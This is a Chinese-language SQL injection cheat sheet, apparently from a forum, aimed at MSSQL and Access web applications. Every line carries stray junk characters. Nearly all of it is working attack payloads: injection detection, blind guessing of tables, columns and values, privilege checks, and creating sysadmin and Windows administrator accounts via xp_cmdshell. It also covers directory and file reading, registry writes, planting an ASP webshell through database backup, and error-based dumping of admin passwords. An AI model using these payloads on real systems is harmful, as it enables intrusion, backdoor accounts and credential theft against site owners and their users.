1.判断是否有注入 - M0 T& N( Y3 j$ }. a! M& q
;and 1=1
; a& p- s5 j* J; r;and 1=2
6 C9 S" y2 Y5 E3 a `4 ^; ?8 Z6 d7 Y* H% A& E
2.初步判断是否是mssql
, N+ E2 B. a- X' M;and user>0 2 \8 ^: M6 v8 z
, m# e3 q! b0 H9 C9 ^2 _ `3.判断数据库系统 4 r( `# E" v5 K" s
;and (select count(*) from sysobjects)>0 mssql 2 a. K# m# {" |/ i( B5 e
;and (select count(*) from msysobjects)>0 access
5 q4 M6 f* N W, Y7 b- _! G, |8 [) P' c! b. b9 e
4.注入参数是字符
% i9 E# H* {0 [. @8 L5 e" R'and [查询条件] and ''='
8 W! \& C# }$ K1 B- p8 E9 W3 i9 ?/ e# l Z8 i& [- o
5.搜索时没过滤参数的
' i) m" I+ Y& e" K/ c'and [查询条件] and '%25'='
* d" e) t6 t3 z3 ^- A9 s; k0 V. ^! N- v( ?& D" S7 O, T8 Z \
6.猜数表名
" u# d8 t( M; X) T. L. G( @1 F;and (select Count(*) from [表名])>0
" P5 @" F( I, ~4 E& k
9 `1 Z3 d9 @, _5 C; U8 Z7.猜字段
4 y* {, L: }" A1 a8 W;and (select Count(字段名) from 表名)>0 P+ z, i8 ~5 c1 r4 m# C" H
# L1 k" {0 c; H# y- h8 l' ^4 X8 V
8.猜字段中记录长度
* S8 ?6 e0 L4 |) ]% {; B;and (select top 1 len(字段名) from 表名)>0
; O' D7 t- I2 O; @ E! P; a' L9 s$ T
5 Y6 X, P9 _4 a+ }! L" G9.(1)猜字段的ascii值(access) * @& g7 M" d# P& m
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 . \- c2 U1 a. |" n* X3 g
# R G6 J* d$ Y6 O
(2)猜字段的ascii值(mssql) & q5 z [& J7 a2 @" y* y7 t
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 ( I# z L% l) D; s
# w0 y1 r0 ^, s# O) Y# b) s10.测试权限结构(mssql)
2 P% o' y& s/ m! n8 ]! v' k;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
4 ?, E) d* V* ^) I! U;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 2 A5 X- K6 {2 Q [
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
" X# c' c3 m+ u; [: m! m0 u;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- / ?# H) ]* R% \0 z1 I M, h# Y) ?
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- + m: |* U+ b) S& ^
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
" s& Q$ Y$ N9 x;and 1=(select IS_MEMBER('db_owner'));--
/ q5 N" ~% r8 S& D' f) P5 b
6 j: x( h, a, P) d11.添加mssql和系统的帐户 / \* `7 Q, ]8 p6 p2 [0 U" m" L Y" W
;exec master.dbo.sp_addlogin username;-- 4 d8 ~: p+ X0 g; @* G0 q3 L+ q# g. o1 Q
;exec master.dbo.sp_password null,username,password;-- : u6 O, x3 D+ k* g: w
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
6 I K' D' |$ A0 ^;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
" s( n) S7 K+ a& O3 F6 T# V;exec master.dbo.xp_cmdshell 'net user username password /add';--
, b% P1 \+ |8 P. \4 }% s! S) Q7 Q;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 5 B5 r8 l0 u: w& O
: w, m/ t9 `5 o& e6 n
12.(1)遍历目录 8 s3 `- _# S" a% K" N
;create table dirs(paths varchar(100), id int)
. n9 ], N0 }& a% g/ I) f;insert dirs exec master.dbo.xp_dirtree 'c:\'
% f, F+ L: b( q5 d;and (select top 1 paths from dirs)>0 - n+ B. V/ U" W# P1 R0 V
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
( G9 |( ?3 [1 C# T# O" {
* r5 x( T& Q7 c/ d- w2 G% i8 J7 D(2)遍历目录 ( e! c$ Q7 g2 j7 g
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
* O3 b9 I9 U) [' c1 ?4 U$ E;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ! `3 K1 b$ T. X8 {
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
3 b8 \ ]# q) O' ]- R" ?& Q. v;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
' P5 E- \0 t6 `& O! f6 F1 @;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
" r+ x7 R0 W1 o/ D4 R
" J: P1 @# \7 Z! M8 S5 \. ]/ f13.mssql中的存储过程
, [/ n) k. K v" B) O7 T2 Exp_regenumvalues 注册表根键, 子键
/ a5 m* N3 p, ]' l;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 6 }$ i, V# g8 v7 a
xp_regread 根键,子键,键值名
" j" j% j, m5 }9 c! B. S6 N( N;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
. u8 h! Y4 H2 k: \ D& yxp_regwrite 根键,子键, 值名, 值类型, 值
; P/ `0 ~; C1 v+ N) z值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
W1 v2 J2 @% |;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
4 W6 E: s- a/ x6 @xp_regdeletevalue 根键,子键,值名
8 h* P3 C& q% F; [3 \& h% Xexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
, d1 q5 d/ z* H8 ?0 q; ~xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 " r$ a' x, ^7 F, u
: x o, i; S- l
14.mssql的backup创建webshell
P6 A6 y& ]! e2 t. Y" F5 b) Suse model " R1 ]2 }' e; o H* Q6 ^4 N
create table cmd(str image); 5 J t! q( z7 A+ j% Z/ ~' n0 p$ P& {: f* ]
insert into cmd(str) values ('<% Dim oScript %>'); U2 N7 g; _0 i, u2 q7 [! t
backup database model to disk='c:\l.asp';
8 y+ W* h; V' V( |; ~* G- l6 x' T- R8 `, \' E) n- N" W. h+ \
15.mssql内置函数 * [& ?7 x' J) f ]6 z8 g
;and (select @@version)>0 获得Windows的版本号
0 ^) a& D! T6 g- \;and user_name()='dbo' 判断当前系统的连接用户是不是sa % i8 F: S+ U K' i* y
;and (select user_name())>0 爆当前系统的连接用户
* L- m/ ^8 ]$ c$ ^! Z;and (select db_name())>0 得到当前连接的数据库
7 y' H9 v- l0 `$ N* L; d1 D3 G* V" Y; F) q4 Y
5 x: U) _0 k, `$ q8 q* b ~" g4 F; V% i' [. z ?
MSSQL手注暴库* P A9 o' p- W. a
N8 r7 t& o7 N
1.暴出当前表名和列名4 g+ F' U, e8 I& f: K7 R& _+ q
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
/ W4 ?6 [" `, z j# z
3 X, K+ {" V! M/ I' p' O第一.爆出所有数据库名
* |4 Y* M# C# N5 i1 V* R( A2 d利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。: N* t- j& q4 U5 ?
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。: C+ ]" C, E9 N: p8 f1 L
$ ~! ^1 W d$ Q9 n4 x( @8 c% }and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
# L. U5 N8 w$ u3 K0 b% p
$ c. f( @, N; _& p9 |% Y7 ~/ x# M/ t4 A# j# b% G* [
第二.爆出指定库中的所有表名: I7 r ]- U% U& Z* a$ b2 ?
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。$ r4 n4 m" I- x, R% J* i# y% @- Q7 |
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。# W# ?0 `2 z1 ^ w% i
3 j* a2 n4 C$ Y; s
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--; Q l: \" ^! }* D7 c# q4 k& J0 P
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--: c) I8 m; C4 D+ R( d. z6 i& S2 W
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--# o, ?" N. ]" I4 e
9 u5 `1 w2 x2 d
4.爆出指定表中的所有列名
) f2 u# t7 j0 C: A0 B2 m. Sand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
/ ]) u; ]$ A& }8 }) w7 J//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
) i$ L& A4 N9 Z& O4 `9 \; Q- A0 w& r5 @6 L1 M' x# ]. e
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名/ m; o3 m C$ {
4 @3 w3 h8 F: a" I0 a再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- 1 t& G& O- \4 f* Q2 ~7 d' N
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。6 D! r; u" D1 k4 ~$ H) N
0 P, s& ^9 Y7 b6 V8 A- F
' U# U5 J6 l5 q& n" W- r! r$ C
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值# U, w# ?0 e. O' d
1 Q7 S. q9 f6 \# wand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名/ [+ R( T& G7 }0 O
/ v' a' g9 g6 Y% d2 G+ T$ V
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- : h, _1 I( { S! k1 q9 Z/ c3 p
" F2 x% Q: {- g1 K& \4 @
2 K, ?8 x# n5 j, ^" v) A: a
$ z# y. B6 Z$ c# Y9 K4 W# U6 M
5.读取指定表中的数据( |( ~; A/ {- i% ~6 r
/ N" Q, F7 P7 u. i6 {4 _
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
! Y( S4 E; o" m6 }
5 ]6 e( d. i2 i- I3 Y, \and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--6 P$ d: @& T/ Q. `
* ]5 t) g( U5 C( A- ^
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
5 `* J( _( w3 v5 O3 C
. T9 I- H; d0 W& `( z& K2 p9 r' W8 T" U. E* [( C- F7 h% |) U
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)1 W" E$ a6 D$ S" {8 s" B" B( K
4 p" E+ ^4 J; Q1 X9 Y x6 E2 @+ y
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
) p0 \. r$ [5 Q; `* G. H* G, p4 B/ g9 ?0 J
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
) v, i4 C$ i; Q$ }! }- \3 v; B* C/ P+ x( n# ]1 k
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
! ?* E9 O) \* \; G. v* K |